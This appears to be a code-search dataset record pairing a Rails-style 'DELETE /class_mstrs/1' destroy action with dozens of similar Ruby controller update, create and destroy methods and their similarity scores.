"def update\n @instruction_factory = InstructionFactory.find(params[:id]) \n @instruction_factory.classname = params[:instruction_factory][:classname]\n @instruction_factory.name = params[:instruction_factory][:name]\n respond_to do |format|\n \n if @instruction_factory.save\n format.html { redirect_to @instruction_factory, notice: 'instruction_factory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instruction_factory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @iclass = Iclass.find(params[:id])\n\n respond_to do |format|\n if @iclass.update_attributes(params[:iclass])\n format.html { redirect_to @iclass, :notice => 'Iclass was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @iclass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @class = Class.find(params[:id])\n\n respond_to do |format|\n if @class.update_attributes(params[:class])\n flash[:notice] = 'Class was successfully updated.'\n format.html { redirect_to(@class) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @class.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_classs\n @classs = Classs.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @klass.update(klass_params)\n format.html { redirect_to @klass, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @klass }\n else\n format.html { render :edit }\n format.json { render json: @klass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gymclass.update(gymclass_params)\n format.html { redirect_to @gymclass, notice: 'Gymclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @gymclass }\n else\n format.html { render :edit }\n format.json { render json: @gymclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if @mscore_classification.update(mscore_classification_params)\n flash[:success] = 'Mscore classification was successfully updated.'\n redirect_to :back\n\n else\n flash[:danger] = 'Mscore classification was not updated.'\n redirect_to :back\n end\n\n end",
"def update\n @mtype = Mtype.find(params[:id])\n\n respond_to do |format|\n if @mtype.update_attributes(params[:mtype])\n format.html { redirect_to @mtype, notice: 'Mtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item_class = ItemClass.find(params[:id])\n\n respond_to do |format|\n if @item_class.update_attributes(params[:item_class])\n format.html { redirect_to @item_class, notice: 'Item class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_spell.update(class_spell_params)\n format.html { redirect_to @class_spell, notice: 'Class spell was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_spell }\n else\n format.html { render :edit }\n format.json { render json: @class_spell.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gg_classlist.update(gg_classlist_params)\n format.html { redirect_to @gg_classlist, notice: 'Gg classlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gg_classlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @trainclass.update(trainclass_params)\n format.html { redirect_to @trainclass, notice: 'Trainclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @trainclass }\n else\n format.html { render :edit }\n format.json { render json: @trainclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_detail.update(class_detail_params)\n format.html { redirect_to @class_detail, notice: 'Class detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_detail }\n else\n format.html { render :edit }\n format.json { render json: @class_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mistake = Mistake.find(params[:id])\n\n respond_to do |format|\n if @mistake.update_attributes(params[:mistake])\n format.html { redirect_to @mistake, notice: 'Mistake was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mistake.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_topic.update(class_topic_params)\n format.html { redirect_to @class_topic, notice: 'Class topic was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_topic }\n else\n format.html { render :edit }\n format.json { render json: @class_topic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_s_class\n @s_class = SClass.find(params[:id])\n end",
"def update\n @stringlist = Stringlist.find(params[:id])\n\n respond_to do |format|\n if @stringlist.update_attributes(params[:stringlist])\n format.html { redirect_to @stringlist, notice: 'Stringlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stringlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_mapping.update(class_mapping_params)\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_mapping }\n else\n format.html { render :edit }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_mapping.update(class_mapping_params)\n format.html { redirect_to @class_mapping, notice: 'Class mapping was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_mapping }\n else\n format.html { render :edit }\n format.json { render json: @class_mapping.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @firstclass.update(firstclass_params)\n format.html { redirect_to @firstclass, notice: 'Firstclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @firstclass }\n else\n format.html { render :edit }\n format.json { render json: @firstclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @code_class.update(code_class_params)\n format.html { redirect_to @code_class, notice: 'Code class was successfully updated.' }\n format.json { render :show, status: :ok, location: @code_class }\n else\n format.html { render :edit }\n format.json { render json: @code_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class_request = ClassRequest.find(params[:id])\n\n respond_to do |format|\n if @class_request.update_attributes(params[:class_request])\n format.html { redirect_to(@class_request, :notice => 'Class request was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @class_request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def editing_teacher\n unless params[:student_ids].empty?\n @students = Student.where(id: params[:student_ids])\n p @students.size\n @students.each do |s|\n p s.first_name\n s.class_name = params[:class_name]\n s.save\n end\n message = {message: @students.size.to_s + ' students have had their class name updated.'}\n else\n message = {message: 'No student ids were received.'}\n end\n render json: message\n end",
"def classs_params\n params.require(:classs).permit(:name, :major_id)\n end",
"def update\n if @classroom.update(classroom_params)\n render :show, status: :ok, location: @classroom\n else\n render json: @classroom.errors, status: :unprocessable_entity\n end\n end",
"def update\n @classroom = Classroom.find(params[:id])\n\n respond_to do |format|\n if @classroom.update_attributes(params[:classroom])\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @class_room = ClassRoom.find(params[:id])\n\n respond_to do |format|\n if @class_room.update_attributes(params[:class_room])\n format.html { redirect_to @class_room, notice: 'Academic class was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @s_class = SClass.new(s_class_params)\n\n respond_to do |format|\n if @s_class.save\n format.html { redirect_to @s_class, notice: 'S class was successfully created.' }\n format.json { render :show, status: :created, location: @s_class }\n else\n format.html { render :new }\n format.json { render json: @s_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @teacher_class.update(teacher_class_params)\n format.html { redirect_to @teacher_class, notice: 'Teacher class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @teacher_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classtime.update(classtime_params)\n format.html { redirect_to admin_classtimes_path, notice: 'Classtime was successfully updated.' }\n format.json { render :show, status: :ok, location: @classtime }\n else\n format.html { render :edit }\n format.json { render json: @classtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n @user_class = UserClass.find(params[:id])\n\n respond_to do |format|\n if @user_class.update_attributes(params[:user_class])\n format.html { redirect_to @user_class, notice: 'User class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(klass, data, opts = {})\n opts = job_options(klass, data, opts)\n @client.call('put', worker_name, @name,\n (opts[:jid] || Qless.generate_jid),\n klass.is_a?(String) ? klass : klass.name,\n JSON.generate(data),\n opts.fetch(:delay, 0),\n 'priority', opts.fetch(:priority, 0),\n 'tags', JSON.generate(opts.fetch(:tags, [])),\n 'retries', opts.fetch(:retries, 5),\n 'depends', JSON.generate(opts.fetch(:depends, []))\n )\n end",
"def update\n respond_to do |format|\n if @m1.update(m1_params)\n format.html { redirect_to @m1, notice: 'M1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @m1 }\n else\n format.html { render :edit }\n format.json { render json: @m1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params.require(%i[id units])\n retrieve_and_validate_put.update!(units: params[:units])\n head :no_content\n end",
"def update\n respond_to do |format|\n if @member_class.update(member_class_params)\n format.html { redirect_to @member_class, notice: 'Member class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @member_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @musictrack.update(musictrack_params)\n format.html { redirect_to @musictrack, notice: 'Musictrack was successfully updated.' }\n format.json { render :show, status: :ok, location: @musictrack }\n else\n format.html { render :edit }\n format.json { render json: @musictrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_time.update(class_time_params)\n format.html { redirect_to @class_time, notice: 'Class time was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @class_time.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @muscle_mass.update(muscle_mass_params)\r\n format.html { redirect_to @muscle_mass, notice: 'Muscle mass was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @muscle_mass.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @classication.update(classication_params)\n format.html { redirect_to @classication, notice: 'Classication was successfully updated.' }\n format.json { render :show, status: :ok, location: @classication }\n else\n format.html { render :edit }\n format.json { render json: @classication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_test.update(class_test_params)\n format.html { redirect_to @class_test, notice: 'Class test was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_test }\n else\n format.html { render :edit }\n format.json { render json: @class_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @schoolclass = Schoolclass.find(params[:id])\n\n respond_to do |format|\n if @schoolclass.update_attributes(params[:schoolclass])\n format.html { redirect_to @schoolclass, notice: 'Schoolclass was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schoolclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classwork.update(classwork_params)\n format.html { redirect_to @classwork, notice: 'Classwork was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n if @momsg.update_attributes(params[:momsg])\n format.html { redirect_to @momsg, notice: 'Momsg was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @momsg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @school_class = SchoolClass.find(params[:id])\n\n respond_to do |format|\n if @school_class.update_attributes(params[:school_class])\n format.html { redirect_to school_classes_url, notice: 'Class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @classs = Classs.new(classs_params)\n\n respond_to do |format|\n if @classs.save\n format.html { redirect_to @classs, notice: 'Classs was successfully created.' }\n format.json { render :show, status: :created, location: @classs }\n else\n format.html { render :new }\n format.json { render json: @classs.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_classname\n @classname = Classname.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @taxon_name_classification.update(taxon_name_classification_params)\n format.html { redirect_to :back, notice: 'Taxon name classification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Taxon name classification was NOT successfully updated.' }\n format.json { render json: @taxon_name_classification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @uno_class.update(uno_class_params)\n format.html { redirect_to @uno_class, notice: 'Uno class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uno_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @uno_class.update(uno_class_params)\n format.html { redirect_to @uno_class, notice: 'Uno class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uno_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book_of_class = BookOfClass.find(params[:id])\n\n respond_to do |format|\n if @book_of_class.update_attributes(params[:book_of_class])\n format.html { redirect_to @book_of_class, notice: 'Book of class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_of_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @classroom.update(classroom_params)\n format.html { redirect_to @classroom, notice: 'Classroom was successfully updated.' }\n format.json { render :show, status: :ok, location: @classroom }\n else\n format.html { render :edit }\n format.json { render json: @classroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vehicle_class = VehicleClass.find(params[:id])\n\n respond_to do |format|\n if @vehicle_class.update_attributes(params[:vehicle_class])\n format.html { redirect_to @vehicle_class, notice: 'Vehicle class was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @vehicle_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_classroom\n @classroom = ManageClassroomService.new.retrieve(params[:id])\n end",
"def set_class_skill\n @class_skill = ClassSkill.find(params[:id])\n end",
"def update\n @klass = Klass.find(params[:id])\n\n respond_to do |format|\n if @klass.update_attributes(params[:klass])\n flash[:notice] = 'Klass was successfully updated.'\n format.html { redirect_to(@klass) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @klass.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_wordclass\n @wordclass = Wordclass.find(params[:id])\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @classroom.update(classroom_params)\n\t\t\t\tformat.html { redirect_to @classroom, notice: \"Classroom was successfully updated.\" }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @classroom.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @cm = Cm.find(params[:id])\n\n respond_to do |format|\n if @cm.update_attributes(params[:cm])\n format.html { redirect_to @cm, notice: 'Cm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_time.update(class_time_params)\n format.html { redirect_to @class_time, notice: 'Class time was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_time }\n else\n format.html { render :edit }\n format.json { render json: @class_time.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @info_class = InfoClass.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @info_class.update_attributes(params[:info_class])\r\n format.html { redirect_to(@info_class) }\r\n format.xml { head :ok }\r\n format.json { render :text => '{status: \"success\", message: \"成功更新班级!\"}'}\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @info_class.errors, :status => :unprocessable_entity }\r\n format.json { render :text => \"{status: 'failed', error:#{@info_class.errors.full_messages.to_json}}\"}\r\n end\r\n end\r\n end",
"def update\n @mrj = Mrj.find(params[:id])\n\n respond_to do |format|\n if @mrj.update_attributes(params[:mrj])\n format.html { redirect_to @mrj, notice: 'Mrj was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mrj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_student.update(class_student_params)\n format.html { redirect_to @class_student, notice: 'Class student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @class_room.update(class_room_params)\n format.html { redirect_to @class_room, notice: 'Class room was successfully updated.' }\n format.json { render :show, status: :ok, location: @class_room }\n else\n format.html { render :edit }\n format.json { render json: @class_room.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @siseasclass.update(siseasclass_params)\n format.html { redirect_to @siseasclass, notice: 'Siseasclass was successfully updated.' }\n format.json { render :show, status: :ok, location: @siseasclass }\n else\n format.html { render :edit }\n format.json { render json: @siseasclass.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_class_lab.update(request_class_lab_params)\n format.html { redirect_to @request_class_lab }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_class_lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @detail_class.update(detail_class_params)\n format.html { redirect_to @detail_class, notice: 'Detail class was successfully updated.' }\n format.json { render :show, status: :ok, location: @detail_class }\n else\n format.html { render :edit }\n format.json { render json: @detail_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @moresmallmobsquad = Moresmallmobsquad.find(params[:id])\n\n respond_to do |format|\n if @moresmallmobsquad.update_attributes(params[:moresmallmobsquad])\n format.html { redirect_to @moresmallmobsquad, notice: 'Moresmallmobsquad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moresmallmobsquad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_class\n # begin\n @class = SchoolClass.find_by_class_name(params[:class_name])\n # rescue ActiveRecord::RecordNotFound\n # redirect_to classes_url, :flash => { :error => \"Record not found.\" }\n # end\n end",
"def update\n @moresmalltrial = Moresmalltrial.find(params[:id])\n\n respond_to do |format|\n if @moresmalltrial.update_attributes(params[:moresmalltrial])\n format.html { redirect_to @moresmalltrial, notice: 'Moresmalltrial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moresmalltrial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clasification.update(clasification_params)\n format.html { redirect_to @clasification, notice: \"Clasification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @clasification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @clasification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @scheduled_class = ScheduledClass.find(params[:id])\n\n respond_to do |format|\n if @scheduled_class.update_attributes(params[:scheduled_class])\n format.html { redirect_to(@scheduled_class, :notice => 'ScheduledClass was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @scheduled_class.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_class.update(user_class_params)\n format.html { redirect_to @user_class, notice: 'User class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_class.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6341769",
"0.59903437",
"0.5927272",
"0.583068",
"0.5781234",
"0.5694129",
"0.5645306",
"0.55119747",
"0.5507019",
"0.55057716",
"0.54600924",
"0.5445111",
"0.5440505",
"0.5432048",
"0.54282683",
"0.5306748",
"0.52981883",
"0.52841765",
"0.5282905",
"0.5274818",
"0.5228124",
"0.51962864",
"0.51872265",
"0.5175895",
"0.5168835",
"0.51560855",
"0.5147444",
"0.51462716",
"0.51402617",
"0.5139571",
"0.51272327",
"0.5123652",
"0.51236355",
"0.51020133",
"0.5101068",
"0.50973505",
"0.50971174",
"0.5094708",
"0.5091807",
"0.507218",
"0.5054659",
"0.5050909",
"0.50488615",
"0.50416446",
"0.50416446",
"0.50346214",
"0.50286627",
"0.5027984",
"0.50216144",
"0.5015421",
"0.50003785",
"0.49982956",
"0.4986406",
"0.4973845",
"0.49719685",
"0.4960946",
"0.49551466",
"0.49451444",
"0.49376136",
"0.49289218",
"0.49257857",
"0.49248022",
"0.49195325",
"0.49148247",
"0.491227",
"0.4908407",
"0.49075192",
"0.49054778",
"0.4904845",
"0.49027953",
"0.4901099",
"0.48962918",
"0.48947683",
"0.4894445",
"0.48879033",
"0.48879033",
"0.48858517",
"0.48732948",
"0.48732948",
"0.48728976",
"0.4862681",
"0.48614815",
"0.48614046",
"0.48612174",
"0.48566684",
"0.48563302",
"0.4848973",
"0.4846471",
"0.48464274",
"0.48386055",
"0.48364493",
"0.48329732",
"0.48257673",
"0.4819049",
"0.4813757",
"0.48102537",
"0.48095652",
"0.48049283",
"0.47975677",
"0.47875592"
] |
0.7273992
|
0
|
DELETE /class_mstrs/1 DELETE /class_mstrs/1.json
|
def destroy
@class_mstr = ClassMstr.find(params[:id])
@class_mstr.destroy
respond_to do |format|
format.html { redirect_to class_mstrs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @clclass = Clclass.find(params[:id])\n @clclass.destroy\n\n respond_to do |format|\n format.html { redirect_to clclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @s_class.destroy\n respond_to do |format|\n format.html { redirect_to s_classes_url, notice: 'S class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classs.destroy\n respond_to do |format|\n format.html { redirect_to classses_url, notice: 'Classs was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @myclass = Myclass.find(params[:id])\n @myclass.destroy\n\n respond_to do |format|\n format.html { redirect_to myclasses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @m1.destroy\n respond_to do |format|\n format.html { redirect_to m1s_url, notice: 'M1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classname.destroy\n respond_to do |format|\n format.html { redirect_to classnames_url, notice: 'Classname was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_class = TestClass.find(params[:id])\n @test_class.destroy\n\n respond_to do |format|\n format.html { redirect_to test_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @climb_class.destroy\n respond_to do |format|\n format.html { redirect_to climb_classes_url, notice: 'Climb class was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @momsg = Momsg.find(params[:id])\n @momsg.destroy\n\n respond_to do |format|\n format.html { redirect_to momsgs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sob_class.destroy\n respond_to do |format|\n format.html { redirect_to sob_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dstrbtr_m.destroy\n respond_to do |format|\n format.html { redirect_to dstrbtr_ms_url, notice: 'Dstrbtr m was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moresmalltrial = Moresmalltrial.find(params[:id])\n @moresmalltrial.destroy\n\n respond_to do |format|\n format.html { redirect_to moresmalltrials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classtable = Classtable.find(params[:id])\n @classtable.destroy\n\n respond_to do |format|\n format.html { redirect_to classtables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class = Classe.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mcluster.destroy\n respond_to do |format|\n format.html { redirect_to mclusters_url, notice: 'Mcluster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_class.destroy\n respond_to do |format|\n format.html { redirect_to service_classes_url }\n format.json { head :no_content }\n end\n end",
"def deleteclass(cl)\n params = self.params\n params.delete_if { |k,v| k.to_s.match(/#{cl}::.*/) }\n write(params)\n end",
"def destroy\n @gymclass.destroy\n respond_to do |format|\n format.html { redirect_to gymclasses_url, notice: 'Gymclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to management_klasses_url, notice: 'Class was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to klasses_url, notice: 'Class was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @firstclass.destroy\n respond_to do |format|\n format.html { redirect_to firstclasses_url, notice: 'Firstclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_class = ItemClass.find(params[:id])\n @item_class.destroy\n\n respond_to do |format|\n format.html { redirect_to item_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_class.destroy\n respond_to do |format|\n format.html { redirect_to subject_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @districtclass = Districtclass.find(params[:id])\n @districtclass.destroy\n\n respond_to do |format|\n format.html { redirect_to districtclasses_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @m6.destroy\n respond_to do |format|\n format.html { redirect_to m6s_url, notice: 'M6 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member_class.destroy\n respond_to do |format|\n format.html { redirect_to member_classes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clam.destroy\n respond_to do |format|\n format.html { redirect_to clams_url, notice: 'Clam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_class.destroy\n respond_to do |format|\n format.html { redirect_to student_classes_url, notice: \"Student class was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nvs_mig_status = NvsMigStatus.find(params[:id])\n @nvs_mig_status.destroy\n\n respond_to do |format|\n format.html { redirect_to nvs_mig_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clazz = Clazz.find(params[:id])\n @clazz.destroy\n\n respond_to do |format|\n format.html { redirect_to clazzs_url }\n #format.json { head :no_content }\n format.js { render :nothing => true }\n end\n end",
"def destroy\n @class_detail.destroy\n respond_to do |format|\n format.html { redirect_to class_details_url, notice: 'Class detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serv = Serv.find(params[:id])\n if @serv.mngbl\n #Remueve el MR a través de una llamada al webservice del núcleo\n http = Net::HTTP.new(\"192.168.119.163\",9999)\n post_params = {'ip' => @serv.conn.ip, 'port' => @serv.conn.port}\n request = Net::HTTP::Delete.new(\"/mbs/#{@serv.domain}/#{@serv.name}\")\n request.set_form_data(post_params)\n begin\n response = http.request(request)\n rescue Errno::ECONNREFUSED\n end\n end\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url, notice: t('servs.delete.notice') }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @muscle_mass.destroy\r\n respond_to do |format|\r\n format.html { redirect_to muscle_masses_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @class_student.destroy\n respond_to do |format|\n format.html { redirect_to class_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class = Class.find(params[:id])\n @class.destroy\n\n respond_to do |format|\n format.html { redirect_to(classes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @class_request = ClassRequest.find(params[:id])\n @class_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(class_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sm = Sm.find(params[:id])\n @sm.destroy\n\n respond_to do |format|\n format.html { redirect_to sms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @classe = Classe.find(params[:id])\n @classe.destroy\n\n respond_to do |format|\n format.html { redirect_to classi_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mot_m.destroy\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end",
